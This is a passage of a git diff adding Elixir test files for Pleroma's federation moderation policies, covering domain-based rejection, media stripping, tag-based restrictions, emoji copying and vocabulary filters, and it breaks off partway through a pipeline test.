b/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs new file mode 100644 index 000000000..d7dde62c4 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs @@ -0,0 +1,539 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.MRF.SimplePolicy + alias Pleroma.Web.CommonAPI + + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + describe "when :media_removal" do + test "is empty" do + Config.put([:mrf_simple, :media_removal], []) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == {:ok, media_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :media_removal], ["remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> Map.put("object", Map.delete(media_message["object"], "attachment"))} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :media_removal], ["*.remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> Map.put("object", Map.delete(media_message["object"], "attachment"))} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + describe "when :media_nsfw" do + test "is empty" do + Config.put([:mrf_simple, :media_nsfw], []) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == {:ok, media_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :media_nsfw], ["remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> put_in(["object", "tag"], ["foo", "nsfw"]) + |> put_in(["object", "sensitive"], true)} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :media_nsfw], ["*.remote.instance"]) + media_message = build_media_message() + local_message = build_local_message() + + assert SimplePolicy.filter(media_message) == + {:ok, + media_message + |> put_in(["object", "tag"], ["foo", "nsfw"]) + |> put_in(["object", "sensitive"], true)} + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + defp build_media_message do + %{ + "actor" => "https://remote.instance/users/bob", + "type" => "Create", + "object" => %{ + "attachment" => [%{}], + "tag" => ["foo"], + "sensitive" => false + } + } + end + + describe "when :report_removal" do + test "is empty" do + Config.put([:mrf_simple, :report_removal], []) + report_message = build_report_message() + local_message = build_local_message() + + assert SimplePolicy.filter(report_message) == {:ok, report_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + Config.put([:mrf_simple, :report_removal], ["remote.instance"]) + report_message = build_report_message() + local_message = build_local_message() + + assert {:reject, _} = SimplePolicy.filter(report_message) + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :report_removal], ["*.remote.instance"]) + report_message = build_report_message() + local_message = build_local_message() + + assert {:reject, _} = SimplePolicy.filter(report_message) + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + end + + defp build_report_message do + %{ + "actor" => "https://remote.instance/users/bob", + "type" => "Flag" + } + end + + describe "when :federated_timeline_removal" do + test "is empty" do + Config.put([:mrf_simple, :federated_timeline_removal], []) + {_, ftl_message} = build_ftl_actor_and_message() + local_message = build_local_message() + + assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + {actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) + local_message = build_local_message() + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + assert actor.follower_address in ftl_message["to"] + refute actor.follower_address in ftl_message["cc"] + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "match with wildcard domain" do + {actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :federated_timeline_removal], ["*." <> ftl_message_actor_host]) + local_message = build_local_message() + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + assert actor.follower_address in ftl_message["to"] + refute actor.follower_address in ftl_message["cc"] + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host but only as:Public in to" do + {_actor, ftl_message} = build_ftl_actor_and_message() + + ftl_message_actor_host = + ftl_message + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + ftl_message = Map.put(ftl_message, "cc", []) + + Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) + + assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) + refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] + end + end + + defp build_ftl_actor_and_message do + actor = insert(:user) + + {actor, + %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public", "http://foo.bar/baz"], + "cc" => [actor.follower_address, "http://foo.bar/qux"] + }} + end + + describe "when :reject" do + test "is empty" do + Config.put([:mrf_simple, :reject], []) + + remote_message = build_remote_message() + + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "activity has a matching host" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + remote_message = build_remote_message() + + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "activity matches with wildcard domain" do + Config.put([:mrf_simple, :reject], ["*.remote.instance"]) + + remote_message = build_remote_message() + + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "actor has a matching host" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + remote_user = build_remote_user() + + assert {:reject, _} = SimplePolicy.filter(remote_user) + end + end + + describe "when :followers_only" do + test "is empty" do + Config.put([:mrf_simple, :followers_only], []) + {_, ftl_message} = build_ftl_actor_and_message() + local_message = build_local_message() + + assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} + assert SimplePolicy.filter(local_message) == {:ok, local_message} + end + + test "has a matching host" do + actor = insert(:user) + following_user = insert(:user) + non_following_user = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(following_user, actor) + + activity = %{ + "actor" => actor.ap_id, + "to" => [ + "https://www.w3.org/ns/activitystreams#Public", + following_user.ap_id, + non_following_user.ap_id + ], + "cc" => [actor.follower_address, "http://foo.bar/qux"] + } + + dm_activity = %{ + "actor" => actor.ap_id, + "to" => [ + following_user.ap_id, + non_following_user.ap_id + ], + "cc" => [] + } + + actor_domain = + activity + |> Map.fetch!("actor") + |> URI.parse() + |> Map.fetch!(:host) + + Config.put([:mrf_simple, :followers_only], [actor_domain]) + + assert {:ok, new_activity} = SimplePolicy.filter(activity) + assert actor.follower_address in new_activity["cc"] + assert following_user.ap_id in new_activity["to"] + refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["to"] + refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["cc"] + refute non_following_user.ap_id in new_activity["to"] + refute non_following_user.ap_id in new_activity["cc"] + + assert {:ok, new_dm_activity} = SimplePolicy.filter(dm_activity) + assert new_dm_activity["to"] == [following_user.ap_id] + assert new_dm_activity["cc"] == [] + end + end + + describe "when :accept" do + test "is empty" do + Config.put([:mrf_simple, :accept], []) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "is not empty but activity doesn't have a matching host" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert {:reject, _} = SimplePolicy.filter(remote_message) + end + + test "activity has a matching host" do + Config.put([:mrf_simple, :accept], ["remote.instance"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "activity matches with wildcard domain" do + Config.put([:mrf_simple, :accept], ["*.remote.instance"]) + + local_message = build_local_message() + remote_message = build_remote_message() + + assert SimplePolicy.filter(local_message) == {:ok, local_message} + assert SimplePolicy.filter(remote_message) == {:ok, remote_message} + end + + test "actor has a matching host" do + Config.put([:mrf_simple, :accept], ["remote.instance"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + end + + describe "when :avatar_removal" do + test "is empty" do + Config.put([:mrf_simple, :avatar_removal], []) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "is not empty but it doesn't have a matching host" do + Config.put([:mrf_simple, :avatar_removal], ["non.matching.remote"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "has a matching host" do + Config.put([:mrf_simple, :avatar_removal], ["remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["icon"] + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :avatar_removal], ["*.remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["icon"] + end + end + + describe "when :banner_removal" do + test "is empty" do + Config.put([:mrf_simple, :banner_removal], []) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "is not empty but it doesn't have a matching host" do + Config.put([:mrf_simple, :banner_removal], ["non.matching.remote"]) + + remote_user = build_remote_user() + + assert SimplePolicy.filter(remote_user) == {:ok, remote_user} + end + + test "has a matching host" do + Config.put([:mrf_simple, :banner_removal], ["remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["image"] + end + + test "match with wildcard domain" do + Config.put([:mrf_simple, :banner_removal], ["*.remote.instance"]) + + remote_user = build_remote_user() + {:ok, filtered} = SimplePolicy.filter(remote_user) + + refute filtered["image"] + end + end + + describe "when :reject_deletes is empty" do + setup do: Config.put([:mrf_simple, :reject_deletes], []) + + test "it accepts deletions even from rejected servers" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + + test "it accepts deletions even from non-whitelisted servers" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + end + + describe "when :reject_deletes is not empty but it doesn't have a matching host" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["non.matching.remote"]) + + test "it accepts deletions even from rejected servers" do + Config.put([:mrf_simple, :reject], ["remote.instance"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + + test "it accepts deletions even from non-whitelisted servers" do + Config.put([:mrf_simple, :accept], ["non.matching.remote"]) + + deletion_message = build_remote_deletion_message() + + assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} + end + end + + describe "when :reject_deletes has a matching host" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["remote.instance"]) + + test "it rejects the deletion" do + deletion_message = build_remote_deletion_message() + + assert {:reject, _} = SimplePolicy.filter(deletion_message) + end + end + + describe "when :reject_deletes match with wildcard domain" do + setup do: Config.put([:mrf_simple, :reject_deletes], ["*.remote.instance"]) + + test "it rejects the deletion" do + deletion_message = build_remote_deletion_message() + + assert {:reject, _} = SimplePolicy.filter(deletion_message) + end + end + + defp build_local_message do + %{ + "actor" => "#{Pleroma.Web.base_url()}/users/alice", + "to" => [], + "cc" => [] + } + end + + defp build_remote_message do + %{"actor" => "https://remote.instance/users/bob"} + end + + defp build_remote_user do + %{ + "id" => "https://remote.instance/users/bob", + "icon" => %{ + "url" => "http://example.com/image.jpg", + "type" => "Image" + }, + "image" => %{ + "url" => "http://example.com/image.jpg", + "type" => "Image" + }, + "type" => "Person" + } + end + + defp build_remote_deletion_message do + %{ + "type" => "Delete", + "actor" => "https://remote.instance/users/bob" + } + end +end diff --git a/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs b/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs new file mode 100644 index 000000000..3f8222736 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.StealEmojiPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.MRF.StealEmojiPolicy + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do + emoji_path = Path.join(Config.get([:instance, :static_dir]), "emoji/stolen") + File.rm_rf!(emoji_path) + File.mkdir!(emoji_path) + + Pleroma.Emoji.reload() + + on_exit(fn -> + File.rm_rf!(emoji_path) + end) + + :ok + end + + test "does nothing by default" do + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + + message = %{ + "type" => "Create", + "object" => %{ + "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], + "actor" => "https://example.org/users/admin" + } + } + + assert {:ok, message} == StealEmojiPolicy.filter(message) + + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + end + + test "Steals emoji on unknown shortcode from allowed remote host" do + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + + message = %{ + "type" => "Create", + "object" => %{ + "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], + "actor" => "https://example.org/users/admin" + } + } + + clear_config([:mrf_steal_emoji, :hosts], ["example.org"]) + clear_config([:mrf_steal_emoji, :size_limit], 284_468) + + assert {:ok, message} == StealEmojiPolicy.filter(message) + + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + assert "firedfox" in installed_emoji + end +end diff --git a/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs b/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs new file mode 100644 index 000000000..fff66cb7e --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.SubchainPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.DropPolicy + alias Pleroma.Web.ActivityPub.MRF.SubchainPolicy + + @message %{ + "actor" => "https://banned.com", + "type" => "Create", + "object" => %{"content" => "hi"} + } + setup do: clear_config([:mrf_subchain, :match_actor]) + + test "it matches and processes subchains when the actor matches a configured target" do + Pleroma.Config.put([:mrf_subchain, :match_actor], %{ + ~r/^https:\/\/banned.com/s => [DropPolicy] + }) + + {:reject, _} = SubchainPolicy.filter(@message) + end + + test "it doesn't match and process subchains when the actor doesn't match a configured target" do + Pleroma.Config.put([:mrf_subchain, :match_actor], %{ + ~r/^https:\/\/borked.com/s => [DropPolicy] + }) + + {:ok, _message} = SubchainPolicy.filter(@message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs new file mode 100644 index 000000000..6ff71d640 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs @@ -0,0 +1,123 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.TagPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + describe "mrf_tag:disable-any-subscription" do + test "rejects message" do + actor = insert(:user, tags: ["mrf_tag:disable-any-subscription"]) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => actor.ap_id} + assert {:reject, _} = TagPolicy.filter(message) + end + end + + describe "mrf_tag:disable-remote-subscription" do + test "rejects non-local follow requests" do + actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) + follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: false) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} + assert {:reject, _} = TagPolicy.filter(message) + end + + test "allows non-local follow requests" do + actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) + follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} + assert {:ok, message} = TagPolicy.filter(message) + end + end + + describe "mrf_tag:sandbox" do + test "removes from public timelines" do + actor = insert(:user, tags: ["mrf_tag:sandbox"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [@public, "d"] + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d"]}, + "to" => ["f", actor.follower_address], + "cc" => ["d"] + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:force-unlisted" do + test "removes from the federated timeline" do + actor = insert(:user, tags: ["mrf_tag:force-unlisted"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:media-strip" do + test "removes attachments" do + actor = insert(:user, tags: ["mrf_tag:media-strip"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"attachment" => ["file1"]} + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{} + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:media-force-nsfw" do + test "Mark as sensitive on presence of attachments" do + actor = insert(:user, tags: ["mrf_tag:media-force-nsfw"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"tag" => ["test"], "attachment" => ["file1"]} + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"tag" => ["test", "nsfw"], "attachment" => ["file1"], "sensitive" => true} + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs b/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs new file mode 100644 index 000000000..8e1ad5bc8 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy + + setup do: clear_config(:mrf_user_allowlist) + + test "pass filter if allow list is empty" do + actor = insert(:user) + message = %{"actor" => actor.ap_id} + assert UserAllowListPolicy.filter(message) == {:ok, message} + end + + test "pass filter if allow list isn't empty and user in allow list" do + actor = insert(:user) + Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => [actor.ap_id, "test-ap-id"]}) + message = %{"actor" => actor.ap_id} + assert UserAllowListPolicy.filter(message) == {:ok, message} + end + + test "rejected if allow list isn't empty and user not in allow list" do + actor = insert(:user) + Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => ["test-ap-id"]}) + message = %{"actor" => actor.ap_id} + assert {:reject, _} = UserAllowListPolicy.filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs b/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs new file mode 100644 index 000000000..2bceb67ee --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.VocabularyPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.VocabularyPolicy + + describe "accept" do + setup do: clear_config([:mrf_vocabulary, :accept]) + + test "it accepts based on parent activity type" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Like"]) + + message = %{ + "type" => "Like", + "object" => "whatever" + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + + test "it accepts based on child object type" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + + test "it does not accept disallowed child objects" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Article", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it does not accept disallowed parent types" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Announce", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + end + + describe "reject" do + setup do: clear_config([:mrf_vocabulary, :reject]) + + test "it rejects based on parent activity type" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) + + message = %{ + "type" => "Like", + "object" => "whatever" + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it rejects based on child object type" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it passes through objects that aren't disallowed" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) + + message = %{ + "type" => "Announce", + "object" => "whatever" + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf_test.exs b/test/pleroma/web/activity_pub/mrf_test.exs new file mode 100644 index 000000000..e8cdde2e1 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf_test.exs @@ -0,0 +1,90 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRFTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + alias Pleroma.Web.ActivityPub.MRF + + test "subdomains_regex/1" do + assert MRF.subdomains_regex(["unsafe.tld", "*.unsafe.tld"]) == [ + ~r/^unsafe.tld$/i, + ~r/^(.*\.)*unsafe.tld$/i + ] + end + + describe "subdomain_match/2" do + test "common domains" do + regexes = MRF.subdomains_regex(["unsafe.tld", "unsafe2.tld"]) + + assert regexes == [~r/^unsafe.tld$/i, ~r/^unsafe2.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "unsafe2.tld") + + refute MRF.subdomain_match?(regexes, "example.com") + end + + test "wildcard domains with one subdomain" do + regexes = MRF.subdomains_regex(["*.unsafe.tld"]) + + assert regexes == [~r/^(.*\.)*unsafe.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "sub.unsafe.tld") + refute MRF.subdomain_match?(regexes, "anotherunsafe.tld") + refute MRF.subdomain_match?(regexes, "unsafe.tldanother") + end + + test "wildcard domains with two subdomains" do + regexes = MRF.subdomains_regex(["*.unsafe.tld"]) + + assert regexes == [~r/^(.*\.)*unsafe.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "sub.sub.unsafe.tld") + refute MRF.subdomain_match?(regexes, "sub.anotherunsafe.tld") + refute MRF.subdomain_match?(regexes, "sub.unsafe.tldanother") + end + + test "matches are case-insensitive" do + regexes = MRF.subdomains_regex(["UnSafe.TLD", "UnSAFE2.Tld"]) + + assert regexes == [~r/^UnSafe.TLD$/i, ~r/^UnSAFE2.Tld$/i] + + assert MRF.subdomain_match?(regexes, "UNSAFE.TLD") + assert MRF.subdomain_match?(regexes, "UNSAFE2.TLD") + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "unsafe2.tld") + + refute MRF.subdomain_match?(regexes, "EXAMPLE.COM") + refute MRF.subdomain_match?(regexes, "example.com") + end + end + + describe "describe/0" do + test "it works as expected with noop policy" do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) + + expected = %{ + mrf_policies: ["NoOpPolicy"], + exclusions: false + } + + {:ok, ^expected} = MRF.describe() + end + + test "it works as expected with mock policy" do + clear_config([:mrf, :policies], [MRFModuleMock]) + + expected = %{ + mrf_policies: ["MRFModuleMock"], + mrf_module_mock: "some config data", + exclusions: false + } + + {:ok, ^expected} = MRF.describe() + end + end +end diff --git a/test/pleroma/web/activity_pub/pipeline_test.exs b/test/pleroma/web/activity_pub/pipeline_test.exs new file mode 100644 index 000000000..210a06563 --- /dev/null +++ b/test/pleroma/web/activity_pub/pipeline_test.exs @@ -0,0 +1,179 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.PipelineTest do + use Pleroma.DataCase + + import Mock + import Pleroma.Factory + + describe "common_pipeline/2" do + setup do + clear_config([:instance, :federating], true) + :ok + end + + test "when given an `object_data` in meta, Federation will receive a the original activity with the `object` field set to this embedded object" do + activity = insert(:note_activity) + object = %{"id" => "1", "type" => "Love"} + meta = [local: true, object_data: object] + + activity_with_object = %{activity | data: Map.put(activity.data, "object", object)} + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [ + handle: fn o, m -> {:ok, o, m} end, + handle_after_transaction: fn m -> m end + ] + }, + { + Pleroma.Web.Federator, + [], + [publish: fn _o -> :ok end] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + refute called(Pleroma.Web.Federator.publish(activity)) + assert_called(Pleroma.Web.Federator.publish(activity_with_object)) + end + end + + test "it goes through validation, filtering, persisting, side effects and federation for local activities" do + activity = insert(:note_activity) + meta = [local: true] + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [ + handle: fn o, m -> {:ok, o, m} end, + handle_after_transaction: fn m -> m end + ] + }, + { + Pleroma.Web.Federator, + [], + [publish: fn _o -> :ok end] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + assert_called(Pleroma.Web.Federator.publish(activity)) + end + end + + test "it goes through validation, filtering, persisting, side effects without federation for remote activities" do + activity = insert(:note_activity) + meta = [local: false] + + 